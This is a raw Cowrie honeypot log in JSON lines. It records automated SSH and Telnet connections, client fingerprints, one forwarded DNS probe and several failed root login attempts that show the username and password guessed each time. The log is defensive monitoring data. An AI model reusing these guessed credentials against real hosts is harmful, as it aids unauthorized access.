{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:52.197356Z","src_ip":"87.251.64.176","session":"db60e766ee47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:33:52.296376Z","src_ip":"87.251.64.176","session":"db60e766ee47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":37352,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b6ed8f01fd2","protocol":"ssh","message":"New connection: 101.126.22.12:37352 (159.203.135.109:22) [session: 0b6ed8f01fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:04.925954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:06.263088Z","src_ip":"101.126.22.12","session":"0b6ed8f01fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:06.266690Z","src_ip":"101.126.22.12","session":"0b6ed8f01fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":55588,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f4487f64375","protocol":"ssh","message":"New connection: 62.133.62.83:55588 (10.17.0.5:22) [session: 1f4487f64375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:13.825164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:13.830008Z","src_ip":"62.133.62.83","session":"1f4487f64375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:13.909074Z","src_ip":"62.133.62.83","session":"1f4487f64375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password1234","message":"login attempt [root/password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:14.150424Z","src_ip":"62.133.62.83","session":"1f4487f64375","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:15.233249Z","src_ip":"62.133.62.83","session":"1f4487f64375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":40716,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5ed4c12fe7c","protocol":"ssh","message":"New connection: 43.130.16.4:40716 (159.203.135.109:22) [session: f5ed4c12fe7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:20.875951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:20.881148Z","src_ip":"43.130.16.4","session":"f5ed4c12fe7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:20.950465Z","src_ip":"43.130.16.4","session":"f5ed4c12fe7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tps","message":"login attempt [root/tps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:21.259411Z","src_ip":"43.130.16.4","session":"f5ed4c12fe7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:22.331304Z","src_ip":"43.130.16.4","session":"f5ed4c12fe7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":50518,"dst_ip":"159.203.135.109","dst_port":22,"session":"d665aa767a1f","protocol":"ssh","message":"New connection: 43.173.89.56:50518 (159.203.135.109:22) [session: d665aa767a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:22.395329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:22.399821Z","src_ip":"43.173.89.56","session":"d665aa767a1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:22.467877Z","src_ip":"43.173.89.56","session":"d665aa767a1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tom","message":"login attempt [root/tom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:22.769586Z","src_ip":"43.173.89.56","session":"d665aa767a1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":60886,"dst_ip":"159.203.135.109","dst_port":22,"session":"de4e56d44288","protocol":"ssh","message":"New connection: 43.134.27.11:60886 (159.203.135.109:22) [session: de4e56d44288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:23.625906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:23.629853Z","src_ip":"43.134.27.11","session":"de4e56d44288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:23.842631Z","src_ip":"43.173.89.56","session":"d665aa767a1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:23.867424Z","src_ip":"43.134.27.11","session":"de4e56d44288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"SF2013ShiFangKM0712","message":"login attempt [root/SF2013ShiFangKM0712] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:24.850205Z","src_ip":"43.134.27.11","session":"de4e56d44288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":57798,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ca1a7a112ac","protocol":"ssh","message":"New connection: 181.47.9.103:57798 (159.203.135.109:22) [session: 7ca1a7a112ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:25.299284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:25.303522Z","src_ip":"181.47.9.103","session":"7ca1a7a112ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:25.447034Z","src_ip":"181.47.9.103","session":"7ca1a7a112ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"plokijuh","message":"login attempt [root/plokijuh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:26.049680Z","src_ip":"181.47.9.103","session":"7ca1a7a112ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:26.089975Z","src_ip":"43.134.27.11","session":"de4e56d44288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:27.195360Z","src_ip":"181.47.9.103","session":"7ca1a7a112ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":37410,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfd2645e945e","protocol":"ssh","message":"New connection: 43.153.39.191:37410 (159.203.135.109:22) [session: dfd2645e945e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:34.609043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:34.612900Z","src_ip":"43.153.39.191","session":"dfd2645e945e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:34.680915Z","src_ip":"43.153.39.191","session":"dfd2645e945e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"136060","message":"login attempt [root/136060] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:34.990159Z","src_ip":"43.153.39.191","session":"dfd2645e945e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:36.061821Z","src_ip":"43.153.39.191","session":"dfd2645e945e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57698,"dst_ip":"10.17.0.5","dst_port":23,"session":"27a229e6f8c4","protocol":"telnet","message":"New connection: 192.119.13.58:57698 (10.17.0.5:23) [session: 27a229e6f8c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:42.168521Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34100,"dst_ip":"10.17.0.5","dst_port":23,"session":"78bf434cc9f6","protocol":"telnet","message":"New connection: 192.119.13.58:34100 (10.17.0.5:23) [session: 78bf434cc9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:43.483763Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":43444,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c1a971eff9c","protocol":"ssh","message":"New connection: 2.57.122.238:43444 (159.203.135.109:22) [session: 8c1a971eff9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:45.877434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:45.882378Z","src_ip":"2.57.122.238","session":"8c1a971eff9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:45.990841Z","src_ip":"2.57.122.238","session":"8c1a971eff9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:46.307138Z","src_ip":"2.57.122.238","session":"8c1a971eff9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:47.414694Z","src_ip":"2.57.122.238","session":"8c1a971eff9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34214,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a2b3ad2c647","protocol":"telnet","message":"New connection: 192.119.13.58:34214 (10.17.0.5:23) [session: 0a2b3ad2c647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:34:51.418037Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56272,"dst_ip":"159.203.135.109","dst_port":22,"session":"5573bc207935","protocol":"ssh","message":"New connection: 167.172.81.52:56272 (159.203.135.109:22) [session: 5573bc207935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:01.149107Z"}
